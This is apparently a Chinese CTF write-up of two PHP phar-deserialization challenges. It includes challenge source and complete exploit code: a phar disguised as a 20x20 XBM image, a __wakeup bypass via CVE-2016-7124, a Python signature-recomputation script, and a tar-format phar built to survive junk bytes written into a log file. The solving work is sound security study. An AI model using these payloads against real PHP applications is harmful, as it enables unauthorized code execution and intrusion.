0%

两道phar题

两道phar题目

源码

<?php
class NSS{
public $pass=false;
public function __destruct(){
if($this->pass===true){
echo getenv("FLAG");
}else{
echo "no permission";
}
}
public function __wakeup(){
$this->pass = false;
}
}
session_start();
if(isset($_GET['filename'])){
echo file_get_contents($_GET['filename']);
}
else if(isset($_FILES['file']['name'])){
$whtie_list = array("jpg");
$ext = explode(".",$_FILES["file"]["name"]);
$ext = end($ext);
if(in_array($ext,$whtie_list)){
$img_info = @getimagesize($_FILES["file"]["tmp_name"]);
if($img_info){
if($img_info[0]<=20 && $img_info[1]<=20){
if(!is_dir("upload/".session_id()."/")){
mkdir("upload/".session_id()."/");
}
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(preg_match("/php/i",$content)){
die("hacker!!!");
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".session_id()."/".$_FILES["file"]["name"]);
echo "upload success!! upload/your_sessionid/your_filename";
}
}else{
die("image hight and width must less than 20");
}
}else{
die("invalid file head");
}
}else{
die("invalid file extension!jpg only!!");
}
}else{
echo "wellcome!<br>";
}

?>

一个文件上传题目,很明显就是phar反序列化了,需要注意的几个点吧

  • getimagesize 控制宽高
  • 内容不允许php
  • __wakeup()绕过
  • phar文件的签名计算

绕过

getimagesize

题目要求控制宽和高,也就是数组的前两个,上传的文件有这两个就行了

#define xlogo_width 20
#define xlogo_height 20

php字段

网上的生成phar文件的脚本都是

$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

实际上,跟踪php源码之后发现格式是这样的 __HALT_COMPILER(); ?> 是必须的,剩下随意

xxx __HALT_COMPILER(); ?>

__wakeup()

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

O:6:"sercet":1: 也就是输入比1大的值就行  如O:6:"sercet":2:

签名计算

在生成phar文件时,会对文件进行签名计算,如果对文件内容进行更改(比如这题,需要更改属性个数),那么签名就会错误会显示

image-20220514181342030

所以需要重新计算签名

from hashlib import sha1

file = open("test.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时Sha1正确了。
open("new.jpg","wb").write(new_file)

解题

生成phar文件

<?php
class NSS{
public $pass=false;
public function __construct(){
$this->pass = true;
}
}
$a = new NSS();
echo serialize($a);

$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('#define xlogo_width 20'."\n".'#define xlogo_height 20'."\n".'__HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

修改phar文件的序列化字符串

image-20220514181652751

运行py文件,产生重新计算签名的new.jpg,将其上传,利用查看文件处的 file_get__contents() 进行phar反序列化

phar://./upload/4kej0r03lvqb9o9n8t9pm9pm36/new.jpg

image-20220514181818147

[NSSCTF]prize1(phar+强制GC) (wolai.com)

[NCTF2019]phar matches everything(phar反序列化) | (guokeya.github.io)

二、

源码类似于N1CTF-2021 easyphp

<?php
error_reporting(0);
class Logger{
private $filename;
private $content;
private $endContent;

function __construct($filename,$endContent){
$this->filename = $filename;
$this->endContent = $endContent;
}

function info($content){
!file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : "";
$content = "Type:INFO Messsage:$content";
$file = fopen($this->filename,"a");
fwrite($file,$content);
fclose($file);

}

function __destruct(){
$this->info($this->endContent);
}
}


$time = time();
$logger = new Logger("log/info.log","Close at $time");
$fileName = $_POST['file'];
$userName = $_POST["name"] ?? "nothing";

if (file_exists($fileName)){
echo "File exists";
$logger->info("$userName");
}else{
echo "File does not exist";
$logger->info("$userName");
}
?>

一眼phar反序列化,但是:可控内容前后都有脏字符

有三种常见情况

  • zip格式:文件头尾都可以有脏字符,但phar无法解析
  • phar格式:必须控制文件尾,但不需要控制文件头。PHP在解析时会在文件内查找 <?php __HALT_COMPILER(); ?> 这个标签,这个标签前面的内容可以为任意值,但后面的内容必须是phar格式,并以该文件的sha1签名与字符串GBMB结尾。
  • tar格式:必须控制文件头,即可构造合法的tar文件,即使文件尾有垃圾字符

结合题目的话,文件尾肯定是最麻烦的,既然头部字段固定,那就生成一个正常tar格式文件,加入反序列化字符串后,切割截取后段部分,写入切割后的内容,一拼接形成一个合法tar文件

直接上exp

<?php

CLASS FLAG {
private $_flag="flag{aaaa}";
public function __wakeup(){
echo "FLAG: " . $this->_flag;
}
}


$log = 'Type:INFO Messsage:'; // 头部不可控的部分
$data_len = strlen($log);

if(!file_exists("./phar.tar")){
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$o = new FLAG();
$phar->setMetadata($o);
$phar->addFromString($log, "test");
$phar->stopBuffering();

file_put_contents("./phar.tar", "]\n", FILE_APPEND);
}

$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, $data_len);
echo rawurlencode($post_exp); //访问获取要传递的数据

//var_dump(is_dir("phar://./phar.tar"));
//var_dump(is_dir("phar://./../../www/log/127.0.0.1/look_www.log"));

然后 file=log/info.log&name=数据 即可

Phar反序列化如何解决各种waf检测和脏数据的添加问题?

从一道题再看phar的利用

Nu1LCTF/n1ctf-2021